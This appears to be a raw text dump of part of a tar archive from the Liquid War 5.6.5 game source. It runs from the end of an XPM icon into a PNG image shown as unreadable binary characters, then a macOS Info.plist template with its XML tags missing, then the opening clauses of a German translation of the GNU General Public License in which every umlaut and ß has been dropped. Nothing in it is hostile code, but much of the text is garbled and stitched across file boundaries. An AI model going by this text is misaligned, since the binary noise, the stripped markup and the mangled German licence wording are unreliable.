o.p.q.r.s.t.u.v.w.x.y.z.A.: : : B.C. ", " u f 4 D.E.F.G.8 : : I H.I.J.K.L.M.N.v.O.P.Q.R.: : s S.T. ", " u u 4 P U.V.G.W.: & : X.Y.Z.%.`.: s +.+++@+#+: : R.$+%+ ", " u u 4 4 &+*+=+ .: & & : : ' 8 : : : : R.-+;+: : : >+,+'+ ", " P u 4 )+!+~+{+|.: & & E : : ]+^+j /+: : : : & & : (+_+:+ ", " P f 4 P <+[+}+|+: : : : 1+2.N.2+3+4+` : & & E : T 5+6+:. ", " P P f 4 4 ..7+8+` 9+0+a+b+c+d+e+f+g+h+E : : : $.i+j+k+l+ ", " f f u 4 4 m+n+o+p+q+r+s+t+u+v+w+x+y+z+A+B+U C+D+E+F+ ", " P f u 4 4 )+G+H+I+J+K+L+M+N+O+P+Q+R+S+T+@+U+K.V+W+# ", " t f u f 4 X+Y+G+Z+m+`+`+ @.@+@@@#@$@%@&@*@=@-@b ", " ^ f u 4 u 4 u X+;@u 4 4 4 >@,@'@)@!@~@{@]@^@# /@ ", " 3 (@u f 4 4 4 4 4 4 4 _@N+:@<@B [@# { }@# # ", " |@f f 4 4 4 u 4 4 1@Z+2@3@4@# $ 5@# # # ", " P P f u u 4 6@7@O+8@9@!@5@$ 0@*.*.$ ", " P P 4 a@b@c@d@e@f@b $ # *.4@ ", " g@h@i@j@k@l@; m@# n@ ", " ", " "}; liquidwar-5.6.5/misc/liquidwar.png0000664000372000037200000007500113407756104016606 0ustar travistravisPNG  IHDR\rfsRGBbKGD pHYs  tIME +2ȱO IDATxk-U9{8{@ $$/@` 6`A@x%*r*W8S;1P!Lv r 1Hzܫ{{Տ9c=z9{Z{}wjj?{=7p:^xu:^xu:^xu:^xu:^xu:^xu:^xG-x}_2 .3JYFpY+. 9!@?Wq?,_TkBVj.KްIl|ܳejo:2G.>7W44w?Ue ( PPY^iK 0Y M#'U,W>~>/\t%{Ń-w,ܙ/-xA@E[~( bzw~-t^׿o³ {+-n]- %&`IBRJM b aE/!_+5ގ z'>ʟN^\]k , /basgh68bPpCx;@+ F9s#W`  ,Y3p:jP@Y8Ϫ =g[eQ_4Db $pWuIŗ~-K% )uX%: 8ؒщ?©O,2@!B9?[=~O{ |- bX˃Z %-p'5p+(,tr{& A@ ف#̀ P9`x#p>n#<:}z &X~ 7:ɖ,8qY`] hK\8NxZG*0 ؿxZ2I)Џ xs} X~,`м/=ƿnZ+ gVDV@!_ӣA`'N~ G}~!p;;gr_ X Ro6>}~@>߶@G@g_Q\7c;hHG F1:|w_;#e~&W :g3Dr}Z/;?S `ư7 `X˟g*;@q#:8bd@-Ԏp_ ,Y{  2I~(~i۾g;_񻺂NҒ;*}uKt썿uV@@C@c@q+y`<{uco{~00ow|y]-hYW((%&g3I/ahдѶP6@m@j 1I ;c"oh bAOWo?N ~pU^.pjI%v[%,xj;/q?>w?[ӟ2-a X6aoV f3v ;>1XU %`Z_;Ct5L@&$N#g@M7G~ ?_OgEՔ]LX2j{UmQWV-je Tkb BS~jıc-W3p_?J7AqZ2Dp I6Чu* ap@E ր\wisMBm-fr@@$>R ~xŀ+e!ы=|]?In{%P]j jN -|.0Ēǰ58v7 @ 7@RKOt|,L З߁_lEx\𕝥g+,*`K1R+A`M XNp ХVQ` \N%:\eU.- %kiGx® [[iT3Y1ή%\tIڨ9H@ O0~uq^+d7|dƆ62d䋥^;k!`G je743klŨ. gAF'?j&9AJUz~{=&x0o.6 HD@ZprT>pd>~d\PӚ53Z^q$u%79` c"B+@6 br8 Zj P_姯hA?on4Y ,jh-Jsu5(H-VbWf "g@#1RP!\WO3Q}y>=5PՀE/ thŕ8,w~@\?btCEn b`. g+9^/ǽo}xb>}zƁPumdo_.f0]\ b1&٬q}{L:!R]Yք+)3xx}~^W|{{"a[ˀE!`!3Mk.`ȬQT9KQ,Ǻ46J/Sc/2|Y^&}  >ud,+-_[OM px0@`@cf0~څ~\$\c" @c ؀f%@{\Lil?+yZ'j#)K|0^hu>r@w3mn'sbwX;d*0d Z1,)d8h5#$E0 R@]TPҷOo˦҈z ?JHQ .]D 5O3)`P` u)d؛ Nh ?%I h$w_P: )V7 1!/s چ9߈Fxd#7o`8ԁJx' s6ANl 8] @O\H,L]3S'Vu͓}HLSdf`sH.ͣB3A |hyav, b7l趻=gG߾Sm#O.$ӖF,<|N}_ / W6Ie`QlK-mnXRlݻQ, x$?W_G4S s5"H[~\ [<Az IJkw :NSjhx1\:!%A-V@I+NsnL@  / ՋZз}P!-O?`&b9L;\dO*\1"|Ȏv::B3 ͆ԁGӘ$Ln, o_ta)KX sg^? vH NiѫC YI* Nrnh1v`*Y>v\-/*psgH-\ϕJ_"P k/ }`&dO<.@kEw_aU _$c]@ ‹~< &v0/`{ %Ug W7_ lhs]"AiyGV`MN vӊEo~7a_ak{Xqz[s4δ9K;aF&cTsP({h}[oBZMB`Sh', i]qBăr ÇR 5m쉿ŔHAddvӠ ^ΩA B ߇%U +nFR`.tpOO\ʯy|@ f"8''?" 갏l(@XhO$,u -'7cq -J{=@7* :ZP:5?,` R3RVă(l@*vG O<c8+k?mE)ضsm#xFyۛ}S8ܑWis,ԟvl7N^ =' J[JxR . NPSssN]:q`ŒXAL !:(oG @2̺9m܊[}>gR;k"6 s)*ȨL? BĎQ 0qwx/k\d0Bq;/R~k%9%AE;o 􇱦ƂǞgw1C=E;l*4S.Tpp%P7g7Z7!;M_J)U>VYsp-~ ?ߥ8$l)a!-XF\џ~71pWvnҏ#.hTej`*3w_O؅@122a9 or#PCW'J94YU5j*\fo4a q^`:HG? E{&[yhzW <N`ΩhNNSNS|͟Rtc9T@JV9!e &cƀ7aEĒc|Q8D3~lMi3DwFԁI9~h_#:A ,58YCl/m]vb5ϡIn+>ѯɯD ۢO*=>lǀ*i/emPLӷ0X Vt߁8 5J7<%9FHs @՞,@ %6ep8M@`V(Z_?) (qvRDfI K\WW?%zDVI@һcj)% =$Sbb:f 1 .sK^ (kXt >dIXܘJ-? #< tço,8 h7os`H춭I P9-O@cZɔ?oyt@\s%+ZX,Ŗ?P~/p_pAᾱOKPI&d?veTFג /BC__-^H!M2͘^*`A:rSzdc<)QM2[b7 WibGj@xQ&%@QZ,% P8o%a) !B K8z#  Z L3f0?fq_P߽ )ʶ ~Ndi!V+K}{Oq(wKoWA_jvk..xqjB8ԝ;X/@|,ox Eflm { r;bD%CH@O HA,ҋgEN֟k*i~˶B6vTwWۨ-8c;NK||5ؼa|ϔsʊ}4 7Y/4?g@iT=snumeJU7k B 7[ާIek& >ˀao =rx;'C&;7P^5[VtLPU"yDލu#q[],JW=- oMM)Lpp#I'~x4mt `Mt/FaAG w<23xKZD:* M*v<"% =c"G׌1lƃǔs~S*G)F4:EMtr" {(W%?V];Pa+]mw7"!臱OҶR.f(m0H#"] 7Q 3oD΅%0,!m^Ðw, x[-(0Q"DCO &:W4mDqĎp H*=UK|>|oc@ͶCГrOpHs#HMIM4`$s;Yo~1X!s :F }B?JɎ)>i aWM4g@yU}x@_ȠCuuxƙ5UmT86;& (#"6G3,EHʨ)ЍJ(@Srj6*qc`79-ϟ+M= eW Мgˏ}_S>  ^,p/bɽќm 7.P| ?b8>v@ R8z  n.//,c7K(){dNŝ%r_^)YԪO @y1m)K./xՄO(Woo Xu7-16ɴ5Li%oR!tD Nn@N0/ aj5Ȩ!d8,MRlkUDczZm6f ӿ}R tE}A,PW3G^|WZ<9J'&'c~l`I?/ra&$ɶ_܀wFzphR~vTy *0٥s? E ,743\i}[F0|hS%p=٧"pi-~@~YUQ-XBzڮh(ґ)]&lmkh-+w@O( Hb!2'<_TPcy&Yyr1`@@jVa-cP NVɱV5@mU^֠Z܇xN?Bw߬a7  GRۖlt*&6=@Ѵ_,h]43b%hwW"JZO(ڇR5sR+`( گ H,&@7 %5@X&V^@ |tYm* 3¸gF$YlɁ<,oWܚM;7,z"eX@7 "I+ۨH{lXT58|T ;>Vu!@DsED00D@`9rCoFb7:wĬ: 0#Љ;J}@@t`?Yм4zܠ#`a<.1҃cwK-|kh"݀z0B 9C:@6i7 2a%Ⱦρ{p]8{N0ac+84o7wg+.Jmu0hj8 p)18C2U/S_Tsͅ2^<îŠTC]4)3 s ]鍿[RB̌z龌,[@AsIqr tsjCKɬa%}(?W3Py .J3n=N'paTLbH؃AO$;0= b]%cSE!Y 0 )`C1:s>P\hJ?(ڣ!oU@+ߜ%.*߄{|S\/ ZU 藙:V'P +*T -`']O pEj,mnvҊz߁9ѵfwz,yC 5h2i3ӿ m>P.E8S ):d&`)$F]卽9'S gֶ7x% `YL-YF:Iɚ?WސcƁMgPq.Uρ=Дx Z:P|nY0ƕi MOv)ʎM:(%C(F|Ko}xP]ՠop"ȡe#PzקYOH >RWc,w_T[ugQM@;Tb{N<pQ3BsbЕؼ~_ peЧy;nt𷕅^4}ΙiP b;Q@P^4ӊq\z_Z,RB3(.`Q,J@(t@%*8NeZVدCfZ?[,T4%uƁLW>x\s95'j }tcY*ddHQ 0 iPC b9R &:s߬7b=fZ J <7gT+Jsm}eKcVj Tw[2]t-@[y^`/ ŊЭox㵪vNT+LK kkGS@\X^T6nIdT9qoK^B*ԙUF`'\c$ҺkWԟ`lx'j=iѾNJa.qjӬԾFI{-zߜߑ%!gX`)0AzwTϾUgfDz7甦4ɬ|o^pr ,WB?ݭ)eam1D{/H$]:I\٬ՙ )^"R;?Dܑt$'L@l@Ws\'!r iP@iEP[/YAߏK0?1 fl wu OY\_?O/A>ZbI1@弴@fl7| -t4?o oiǣ}?ϦuC"ާ`-`@ qhPUk.O9ًl?> (- lO}S(q7_hFY,*GRƐtKo˕/)jDEVzc㏻"C%$r@ԓzASR`Ao㦏$FdC Ѯ$Y Wp@,̝*q00)Z` Z(},8Z[r 36xXK b|Rá lUONr'} `i^>Q~63#!'Nǎж9k}0 f94ulTvG,1ƆwBR [ \fIbS?#(",0U>IA/^28Ԁ9๭,]PȪBZ0PDB+ L9=T|]IGO_ p80GѠ ]P!FƯei cWbnQ5?yWbހ ж a^`' L$pIgh"qh-ȐO4/e?i_fS :50'(A2HW ~͕S5N/ú/Do~`ń#xD4RWI %eI׏vJ'33פ57=2p ^ʵ[5&-*/(Q?]%4usq@ae\x{0ucKF@@X:`ٍ \]:O㫵O/=??OWm|@{`L+hpqW 6ba6 1߇>-L89N m-^%|IuW +(GOh2pDl#/u9"Kt\(j> 砕 섾VC.{8է \_c=?!ڧ"&P)7 @Z:,-e-8\~vU.Yo*o  PJ,+n thT 5Xwip:МX(Rs:8@`d8rhP~ilU}+o/׊+o"0N&h[PaxWkdί.h#,LbnUj{p1eY[*;`sVwXi]!|M'qVRC01 bPFn5 j[7*&X}{K ©Ff$h6S"(tBz%FguCԿWuCG5D~0~ 6}~[Y3k&@jkJ`PRU^bti+N VN^S/jOO|lHAhmDXc0 8'FRFysYpkدaWF?Nk=v^x"UbF6o0~;~CkiT*<@bC"J_:jj& g[ί`-  }j܀ܼRTsb%餓 Aaw&Z=uw0vf7c (7ʺ(vH :dotn֎P6M9. A;CmG8uYiXY/ɋ 2lrPeJ/k$ c uLj".-5 G@`a!ȅ.ۡ%*`b6Zṹu|3cߟ}^-ls d JO@2} p6@֭J'iʯp_;?JM\)?7ud:J*&IЯiƧ |y/RlTPD*CPTJ*gު:Pfڸq2+*УyKD]RtX[hi rF wkuf?QqQUdrN0@@p\p˂:T@ ؍l$3M_i`NwXs[pOlrƟK5x&8Bv@)11W8i .}t8DCm٩rX_OJ\lţ8DԩHpCU͂zb LgԵ{˖}M1j4b SBs8߯bʼn`kr[P2S]RFv#ÇX]P, OB,ԋS[Hlֵ#u7D =!gSNS[h8{r]n:;NBNuǥ" QB"I)4CG.n(U̡_ V`Nr_pc\%ħhx7%L]1pj}\KT(4ǘn]! 'P@J+/N*R F;7:[?%{C3KbDqA>%e$R5fv<3 IDAT@@S66 W=Վpʯ0h J3_au]Q_YpA?Ag10nF܌١ͩ=2~6q#d(d6&l_׀$f-)\ g~?NJɩnRR ~%6rS*M/-(,wAWE &)vMh9S3c^Sn 7VMIRnuUGL`@vM STj{+x PZQkDX153;u)ٯ~HXZ:[Ky]ƥêH…sF@@?Gtk&4hjY E"$%>W{(̌}%ڕ@%Nw )' ||'vO` 2@HaXLo#B:k[c?%3`=P"09)? ޼sy߿D?0hK;3^ ΠZMo,N DVZ(K?:~n ~q?cv`֧aif?h}» -T" \!(zm#P1>ṛ8b$==dE4ӧ[#psΘ { ! ؇J #m7HW P2꾐)pZ_Ogo̾}1E]SEQevqNkISoM"h΀='0\ /H;Jkv\;fWו ,*u@k<(⹧0R<7_tb*JO-J-i!hd NS"@ pJ =p3,&0b< N&o/:_,0xïdV 0>BT~`%U؞Նb?:,fnqMU:(,=hwwL%t m).tVN2A$"`eWSxI'l Jqdmc(@bUa]Veק\OCtk|b ي/v3so|٢p 2߼U;bRצ6Tsx0cr!KݣK%+6 A Uo+ԡ& OO Gy pcH8tf&[A5mH 5(ao*,5J==L刹;aart55R Z*pumUA"|+)oʇ<GN `srr@8LbESet p0GR }_rq=n[gL>9_9b 5t. S#SSN v3Rq(Í+R .xķ'z&R`U⾨f_=p :4b ~:}2os K㋁+@\^ LPH}mzwHQ9Fp?L`[V%aIE<'C[3]ݶjN@?eIԍ E pH3 ?6FQUbŵ)QS*UF/"d[]Uuy;n?0vR y~ܕ_!-1] bh0&؜P;ߗa^+ V[8@BriCi4诔U@ǑựRf)YYD`sqMPD5ZKV@aO;ّr^s|i=P\,PՒg 4k8\s=TR10 l&N+۞Fo{Kcpe]qPrϤ4ǿ(nz` a󵒊jTŲӇ 5[)lӖ4ύwˎdWqjs܀ h@ pEwu& .D@9R-ϊDԄ0e@;p5V~_G׾K?̹o)Ǜ鰍6+*_[ʯ\gtD?{P$e8PAPl0M+6턉5>Ьf@`%sT:3GsZiNDITf@27ijF@Y{qzT.ꅬP-̻*' ;\%bz8L׽< m-PhV=൸M"P;rQpU}eOVXͳ /=`gF<uw -r!ptWX}T#cE(HN/$3mg~ղ3=X M m # X rf V2\H,5`-6k]"Sm"((sOkSċ$I!hگb`WRR܂GشtYźތ  ب nR'.Z qO ρОH}H\Xw^n]zW 5<5V|622[[`h FoZQM\k/6T/BaL>?91(gaDZ`@+aW/o$3 Ek6+TY,kLƠ Ё ??u*i Z㯗BρYw.A'"QU9_NHt#d/zt:]'9+P ,k)Z rS)o?f.$5LnNuH 1iĤN Jӿn@%*+DŝV3BI5e0VX fA~FR~Ư| !&RkM}s`uXZV{O?5dmmkԡl@H~F@ mӳn5yry lP,XuN6k! ڪt]r|#'D0: 'YXv% 6 ـ29 uR. ;irH\\ kl#5cМFϯ?u#P|קrO iss$={  8%Pi pt`CR&n tC0#?N6{w"AV ,&6%z/# !#RbKP(`WB@F7$2kkA? * ]ܘ`儋`ؠsωl=q35ו_kڻX?9L1!7 |TQ 22b<02aoyW=)Nj8J{X{m\Wwhx D1x#HJ XCP8S$9bm,*Άwn +9JR@@"jj8 BKKJaV(74r`))e]qZTc$5q-wj_ >3O~dN8S(H}R^J?/CܿC?'ΆlY`;fy tAr<`4هZQvCl^ڟ&eUZ2*;xp JhĤ01F`%Fڊẜ* AS9!ɔJM-~ IV9pu@s~ENth[-n]ܕt L0FD: wa9X-)/%s*5/nl g. Rz0*D œB^e imTaEȜN웬BՔ}kк? _J5>iIu``qgQ)hqѠ,S7˧`!wsCO0?z,+O1TA3Z7KKT n<2m(0FچKIHiw#}Պn@s%i*).D4%H{ݯZ $XQ E48}Xx he!>ԧ\C A> er6XS.ɥ[킨.tl/.]uW*@X?6Jg @`jWUԵЪS˵>[TzeR- ) 9A?_n\G~eNm )Q#n:jCAX1a>ZKT .GP>~Q~xfF֛A jB =ҠNWw˧˗xÿ|`?p/?R7e7 =x5nIRÕJ+F ~k`ZlPc=qJɪ!_os4s4b2!tDh B`I:y?S9:Gs2hE?_胺~{[zo3xI*HRMTQHDA$* KE$VK@ B`x)P$j5Iai0Й3g^}˾9IV}g׻;9pf9 vP<%' *a@ hzꝜ ,s lxJůN>F&gC׹4\O7׸cQ+DxQ70$ҔL2M Ԋ6!PU6XyeYqi/5wDj!k&#LnoГ##0wtնޯ~ d-@s@X r#N^HZw3$56>Y!T5^?Wח@{^~EUD|BR ) ))f$"uTmE7fcy妝%.X_6n|b.| 8fү ,W鑏kM,ǁ т cN.10d#tii\lHFZp+Ϲ:qC8cf_ D ( u!6/-u-E tE[DcOGx k[3d1!,1=X&fH^3Bq|#zX}cΐ Xz H@X+5K`7r$;qu{&15YQsWBph IYjM%3*:!CjMQTu9C-AVB'+)&,ϚN޸Jlygz_1`*`.Gy؇ǒ6MLo&V֔5$pC"43"Ǿ ^. ͫh|1lo 6ȭZ !UPY(uDŘRԚQ#ԨXA`ClWoEK~xo`ܺ+Fr_koyS~6ۯc[Lc1wAŽ=#ڂgzք\ c^ B,NW<_.Zֲ:cY:o uYrd2gȂ9czHIJ%*`$k(5z_HݮM ',?C[bd]#5?2`4eMXܴ?S#!?XC=T( #A29u(py0pZuH|<^g#:qUWB*X*%,TJ2*hf!&N1ddf%`vA[RШݪ#]c%nfu؇ɏT7ZY5 ffTzRPdϙP]TF67`'py:෌g^``cemZŠ;x@BNBAJAj?T-VjKfc+he+ basO7c_aZ{[9/oshyd~}CCOygUtEF5Pn~"̃# `4ϞAfF^A~ZH# lkc^6QNVv4@% )q1^ؾjݵl V|pО r[^waظ|hN{VCУqKoiB*(u0x_ U?UQQbsV &pd`ɲ~E,b^@Ea^3[e^IJ)IA۹J7fY`* s.[uӤ?oEJ}QnRˤ\Yu/0,sDweWU4Y$p %_YWmr؈vT;g}Ym.U ~j"TrW+A, _a(Fr%BІ)UI˾Ig{$d 5ffZkGyDi* V~-1HK~xZ27Uۖ:CSVWv,*hPR3^]ا~j"p KF7@H벁i1/ ~^;PCZ߱෫}O̮ 6' - )x`DSd`GvGv㫹ϹN BE,6xO@VڲM_f|{D ^? ^xA[ූ]Jv)٣fK$W&=} [( H-jIHϣ:BpϒgBm$|]nUܕ"{|1UUleրy1+-IbWd PG%R0ѻ+<ZJ㳈oء6a:BgZ:ArQW9rw|e$pQdp2drɠ ~lZ7_Z Sp@!jP[IFtՄCޮl-cՆ ]j6EX>EU%Գ3=l8)|]ēX6ohNk5p[% %GQsrh=w>[鬊xU$9m( ұlH^N)K<4W$Wb:Jm] += b۰`kkM̟G9GQpDe~҈?2VP)ėz_eí "1o*U~ EQV7H@68kز.*oˉ 9{s؀!ʾMNh1mc9`MZN?:mXwOWW`IKxwǐ 6Ha9g%0鷈_ϙ۸a ֿu'6nN7D$+ufa6mo Ǡ`d~MOu$CDg=>L#͛n6a^G6 @kcdmsM;$3ἁPEPKz)G6ׂR~Ȇԁבu퐏iP`E>ouMho]"۝$b6-#$_? &{ƽ-w@3R'ofk"0$3$g³sk[bNA1-g+Yz>5_ Nm |gs1K;z~˭oΐ19G,a uSA{ݎ rVQ!s@>u]=)|B <(r=H箲S/4'en-#KG@͞_熷RhOK皰O|+ȓyHC“ x :hֲH|yU[]\_M'K+e4F۟]f3Y>{Tditt;˼)oyaZ#A]H aoc07saƞ%T/mWt5q$Y~9M| ZԐ6IB Z5Kg"8jY}0c ;?mq{iz/"A>~]1t zOO@?(=*-uU>$933e){LgƁYO>%{vbiӥU?oWҪu7,A/ z A+<69b >873bʄL`R1A=k{Ŕ4//$Is˕|33;xv^=LF ۊ"DLz_D O.s&c&?+5j׷.oqFUJ+.PBʼn T? v{OWބY1Ot.*}^a}ŊğIl˿ 5#`#A[PVfw]f(UxVmQۈDbkj꽾lwβ,mY5o6-Mڔ`c]o_L>HI2NA_4<`W[)]I.l8I^'c˫>s&w ?W4 k @7z}_7)=[D91= (NSjԅF+0TN+;.z7 t>쏁<3FLG}? V.{>H VT 1˟|6)]~#zagѱd2[Dgo?>G?~W~z}/WYA$ҭ}jV|%VW z(flO&,ߴ'#};ߝ_Z1瀂=RV&]9u4ugnS#~E*b}|l.kam#蕳S7 k76D+EU =>Ro޼>3`Liw-?CskZ{V];?n~e4j>U:ϬfPr/Xc\! d]`]ߑ=7Ʋ:xnhgzͼk@l{v=NϪلnȳҨ/.3 o tέrO~  >CC)\bl* v]lO+i`DΘ]رk2|KޫL<{C6,m`Toy:53NR&Aoi &P.^ ˿jZon{~X4ws?C=&ӯM Xy'.b_#je|>~y'n=lwJxԐ¾W-8T:%ҝol$Vwdu-ț~ff@n6_;2c_%e@0!Nꟴ{8ߤF1 vCm_:M>&駍]Ǎ`FuǕڍCxZ7='^u3 X~Y t1;1'' 93x_LkX"5 M5nV˯wE,$̬Dq3Jv'.3;~bϵ7u˟l^ t4ch'?f{ ?A_iGئw;dVIomKK/#LvZ~dεk;Z~۷<OZ/Ki9\~O o,{{p/sI bƍڛx8 ۶'kߵ࿃"pHK  Yz~ɸI MiϑA$L 'Y'alwKbN Yz#Cл&qwC;?4$?=/")oW)%0 ͩ} cC/"@m^$2bjc/?pjUi G & I`35&WvT| y{2g0JL.3<*> $ϓ<gmFa167ߥzL5npϷ1t]jC{} \ZCbA{/2ȿy][pg}x[ુK숗'P$AH b֊[ 0$#eZw3KFo׫?OlImk,e%Rwvj[,bDfgUtc]CUAm-}m[v$sF#d;E !?)L0ARE6OMOn~<ϲs"º%b҈tkSw+6. Xp?jnjAΌ[/ _OPOy+2# wN cAAI"m2,cʧ9 r̄#;AYϔZ- >?w{4鲿 ʂ }??)=<%/N"?SQW0ʑ1EF3fOs# M?#3 L9C*}X;+8 ac:2]&L ]ޏ+}aAԿ'' 'S9"I4Q) 2x9OR7޻-͹+h43>_{=agӇ9y#oy{B}M ߩ 0`@ [{ |m%Ė\M>]@ 'aIH>' ݿc=瞜LJ0| c= -H 99]21 L1gimjRX<۔X ߶79x,ӟ?Oӟ?Oӟ?Oӟ?Oӟ?Oӟ?Oӟ\p IENDB`liquidwar-5.6.5/misc/macosx_info.plist.in0000664000372000037200000000352513407756104020070 0ustar travistravis CFBundleExecutable liquidwar CFBundleIconFile liquidwar.icns CFBundleIdentifier com.ufoot.liquidwar CFBundleInfoDictionaryVersion 6.0 CFBundleName @PACKAGE_NAME@ CFBundleDisplayName @PACKAGE_STRING@ CFBundlePackageType APPL CFBundleShortVersionString @PACKAGE_VERSION@ CFBundleSignature RRdb CFBundleVersion 4 NSAppleScriptEnabled false NSHumanReadableCopyright Copyright (C) 1998 - 2016 Christian Mauduit <ufoot@ufoot.org> NSPrincipalClass NSApplication liquidwar-5.6.5/misc/gpl_de.html0000664000372000037200000007076613407756104016234 0ustar travistravisGNU General Public License

Deutsche bersetzung der
GNU General Public License

Erstellt im Auftrag der S.u.S.E.GmbH http://www.suse.de
von Katja Lachmann bersetzungen,
berarbeitet von Peter Gerwinski, G-N-U GmbH http://www.g-n-u.de
(31.Oktober 1996, 4.Juni 2000)


Diese bersetzung wird mit der Absicht angeboten, das Verstndnis der GNU General Public License (GNU-GPL) zu erleichtern. Es handelt sich jedoch nicht um eine offizielle oder im rechtlichen Sinne anerkannte bersetzung.

Die Free Software Foundation (FSF) ist nicht der Herausgeber dieser bersetzung, und sie hat diese bersetzung auch nicht als rechtskrftigen Ersatz fr die Original-GNU-GPL anerkannt. Da die bersetzung nicht sorgfltig von Anwlten berprft wurde, knnen die bersetzer nicht garantieren, da die bersetzung die rechtlichen Aussagen der GNU-GPL exakt wiedergibt. Wenn Sie sichergehen wollen, da von Ihnen geplante Aktivitten im Sinne der GNU-GPL gestattet sind, halten Sie sich bitte an die englischsprachige Originalversion.

Die Free Software Foundation mchte Sie darum bitten, diese bersetzung nicht als offizielle Lizenzbedingungen fr von Ihnen geschriebene Programme zu verwenden. Bitte benutzen Sie hierfr stattdessen die von der Free Software Foundation herausgegebene englischsprachige Originalversion.


This is a translation of the GNU General Public License into German. This translation is distributed in the hope that it will facilitate understanding, but it is not an official or legally approved translation.

The Free Software Foundation is not the publisher of this translation and has not approved it as a legal substitute for the authentic GNU General Public License. The translation has not been reviewed carefully by lawyers, and therefore the translator cannot be sure that it exactly represents the legal meaning of the GNU General Public License. If you wish to be sure whether your planned activities are permitted by the GNU General Public License, please refer to the authentic English version.

The Free Software Foundation strongly urges you not to use this translation as the official distribution terms for your programs; instead, please use the authentic English version published by the Free Software Foundation.

GNU General Public License

Deutsche bersetzung der Version 2, Juni 1991

Copyright 1989, 1991 Free Software Foundation, Inc.

51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA

peter@gerwinski.de

Es ist jedermann gestattet, diese Lizenzurkunde zu vervielfltigen und unvernderte Kopien zu verbreiten; nderungen sind jedoch nicht erlaubt.


Diese bersetzung ist kein rechtskrftiger Ersatz fr die englischsprachige Originalversion!

Vorwort

Die meisten Softwarelizenzen sind daraufhin entworfen worden, Ihnen die Freiheit zu nehmen, die Software weiterzugeben und zu verndern. Im Gegensatz dazu soll Ihnen die GNU General Public License , die Allgemeine ffentliche GNU-Lizenz, ebendiese Freiheit garantieren. Sie soll sicherstellen, da die Software fr alle Benutzer frei ist. Diese Lizenz gilt fr den Groteil der von der Free Software Foundation herausgegebenen Software und fr alle anderen Programme, deren Autoren ihr Datenwerk dieser Lizenz unterstellt haben. Auch Sie knnen diese Mglichkeit der Lizenzierung fr Ihre Programme anwenden. (Ein anderer Teil der Software der Free Software Foundation unterliegt stattdessen der GNU Library General Public License , der Allgemeinen ffentlichen GNU-Lizenz fr Bibliotheken.) [Mittlerweile wurde die GNU Library Public License von der GNU Lesser Public License abgelst - Anmerkung des bersetzers.]

Die Bezeichnung ,,freie`` Software bezieht sich auf Freiheit, nicht auf den Preis. Unsere Lizenzen sollen Ihnen die Freiheit garantieren, Kopien freier Software zu verbreiten (und etwas fr diesen Service zu berechnen, wenn Sie mchten), die Mglichkeit, die Software im Quelltext zu erhalten oder den Quelltext auf Wunsch zu bekommen. Die Lizenzen sollen garantieren, da Sie die Software ndern oder Teile davon in neuen freien Programmen verwenden drfen - und da Sie wissen, da Sie dies alles tun drfen.

Um Ihre Rechte zu schtzen, mssen wir Einschrnkungen machen, die es jedem verbieten, Ihnen diese Rechte zu verweigern oder Sie aufzufordern, auf diese Rechte zu verzichten. Aus diesen Einschrnkungen folgen bestimmte Verantwortlichkeiten fr Sie, wenn Sie Kopien der Software verbreiten oder sie verndern.

Beispielsweise mssen Sie den Empfngern alle Rechte gewhren, die Sie selbst haben, wenn Sie - kostenlos oder gegen Bezahlung - Kopien eines solchen Programms verbreiten. Sie mssen sicherstellen, da auch die Empfnger den Quelltext erhalten bzw.erhalten knnen. Und Sie mssen ihnen diese Bedingungen zeigen, damit sie ihre Rechte kennen.

Wir schtzen Ihre Rechte in zwei Schritten: (1) Wir stellen die Software unter ein Urheberrecht (Copyright), und (2) wir bieten Ihnen diese Lizenz an, die Ihnen das Recht gibt, die Software zu vervielfltigen, zu verbreiten und/oder zu verndern.

Um die Autoren und uns zu schtzen, wollen wir darberhinaus sicherstellen, da jeder erfhrt, da fr diese freie Software keinerlei Garantie besteht. Wenn die Software von jemand anderem modifiziert und weitergegeben wird, mchten wir, da die Empfnger wissen, da sie nicht das Original erhalten haben, damit irgendwelche von anderen verursachte Probleme nicht den Ruf des ursprnglichen Autors schdigen.

Schlielich und endlich ist jedes freie Programm permanent durch Software-Patente bedroht. Wir mchten die Gefahr ausschlieen, da Distributoren eines freien Programms individuell Patente lizensieren - mit dem Ergebnis, da das Programm proprietr wrde. Um dies zu verhindern, haben wir klargestellt, da jedes Patent entweder fr freie Benutzung durch jedermann lizenziert werden mu oder berhaupt nicht lizenziert werden darf.

Es folgen die genauen Bedingungen fr die Vervielfltigung, Verbreitung und Bearbeitung:

Allgemeine ffentliche GNU-Lizenz
Bedingungen fr die Vervielfltigung,
Verbreitung und Bearbeitung

0. Diese Lizenz gilt fr jedes Programm und jedes andere Datenwerk, in dem ein entsprechender Vermerk des Copyright-Inhabers darauf hinweist, da das Datenwerk unter den Bestimmungen dieser General Public License verbreitet werden darf. Im folgenden wird jedes derartige Programm oder Datenwerk als ,,das Programm`` bezeichnet; die Formulierung ,,auf dem Programm basierendes Datenwerk`` bezeichnet das Programm sowie jegliche Bearbeitung des Programms im urheberrechtlichen Sinne, also ein Datenwerk, welches das Programm, auch auszugsweise, sei es unverndert oder verndert und/oder in eine andere Sprache bersetzt, enthlt. (Im folgenden wird die bersetzung ohne Einschrnkung als ,,Bearbeitung`` eingestuft.) Jeder Lizenznehmer wird im folgenden als ,,Sie`` angesprochen.

Andere Handlungen als Vervielfltigung, Verbreitung und Bearbeitung werden von dieser Lizenz nicht berhrt; sie fallen nicht in ihren Anwendungsbereich. Der Vorgang der Ausfhrung des Programms wird nicht eingeschrnkt, und die Ausgaben des Programms unterliegen dieser Lizenz nur, wenn der Inhalt ein auf dem Programm basierendes Datenwerk darstellt (unabhngig davon, da die Ausgabe durch die Ausfhrung des Programmes erfolgte). Ob dies zutrifft, hngt von den Funktionen des Programms ab.

1. Sie drfen auf beliebigen Medien unvernderte Kopien des Quelltextes des Programms, wie sie ihn erhalten haben, anfertigen und verbreiten. Voraussetzung hierfr ist, da Sie mit jeder Kopie einen entsprechenden Copyright-Vermerk sowie einen Haftungsausschlu verffentlichen, alle Vermerke, die sich auf diese Lizenz und das Fehlen einer Garantie beziehen, unverndert lassen und desweiteren allen anderen Empfngern des Programms zusammen mit dem Programm eine Kopie dieser Lizenz zukommen lassen.

Sie drfen fr den eigentlichen Kopiervorgang eine Gebhr verlangen. Wenn Sie es wnschen, drfen Sie auch gegen Entgeld eine Garantie fr das Programm anbieten.

